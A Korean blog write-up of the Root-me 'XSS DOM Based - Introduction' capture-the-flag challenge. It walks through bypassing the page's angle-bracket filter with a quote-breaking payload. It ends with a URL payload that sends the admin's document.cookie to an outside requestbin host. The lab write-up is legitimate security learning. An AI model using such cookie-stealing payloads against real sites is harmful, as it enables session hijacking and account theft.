-
XSS DOM Based - IntroductionWargame/Root-me = Web - Client 2022. 11. 8. 21:55
0과 100사이 중 하나의 숫자를 입력한다.
var random = Math.random() * (99); var number = '7'; if(random == number) { document.getElementById('state').style.color = 'green'; document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)'; } else{ document.getElementById('state').style.color = 'red'; document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random; }
random이 random()을 이용하고, 새로고침 시 random이 변하기 때문에 한 번에 맞추기는 거의 불가능하다.
개발자 도구 console을 이용해
var random = Math.random() * (99); var number = random; if(random == number) { document.getElementById('state').style.color = 'green'; document.getElementById('state').innerHTML = 'You won this game but you don\'t have the flag ;)'; } else{ document.getElementById('state').style.color = 'red'; document.getElementById('state').innerText = 'Sorry, wrong answer ! The right answer was ' + random; }
number = random 으로 변경하면
문제 해결과는 상관없는 것 같다.
숫자를 입력하는 form을 살펴보면
GET 방식을 사용함을 알 수 있다.
XSS를 테스트 하기 위해
url창에 "http://challenge01.root-me.org/web-client/ch32/index.php?number=<script>alert(1)</script>" 입력해보면
스크립트문이 동작하지 않는다.
페이지 소스를 보면
<, >를 필터링하는 것을 알 수 있는데, number에 입력한 값이 들어가는 것을 이용하여
'; alert(1);// 를 입력하면
alert(1)이 실행되게 된다.
// 는 뒤를 주석처리한다.
이를 이용해 관리자의 쿠키를 탈취하면된다.
contact를 보면
url을 제출할 수 있다.
관리자가 url에 접근하면 쿠키를 탈취할 수 있게된다.
스크립트 문이 Main에서 동작하기 때문에
http://challenge01.root-me.org/web-client/ch32/index.php?number=';location.href="//requestbin.io/1qy6a8j1?cookie="+document.cookie;//
제출하면
관리자의 쿠키를 탈취할 수 있다.
'Wargame > Root-me = Web - Client' 카테고리의 다른 글
XSS DOM Based - Filters Bypass (0) 2022.11.14 XSS - Stored 2 (0) 2022.11.09 <Root-me> Install files (0) 2022.01.05 <Root-me> XSS - Stored 1 (0) 2022.01.04 <Root-me> CSRF - 0 protection (0) 2021.12.24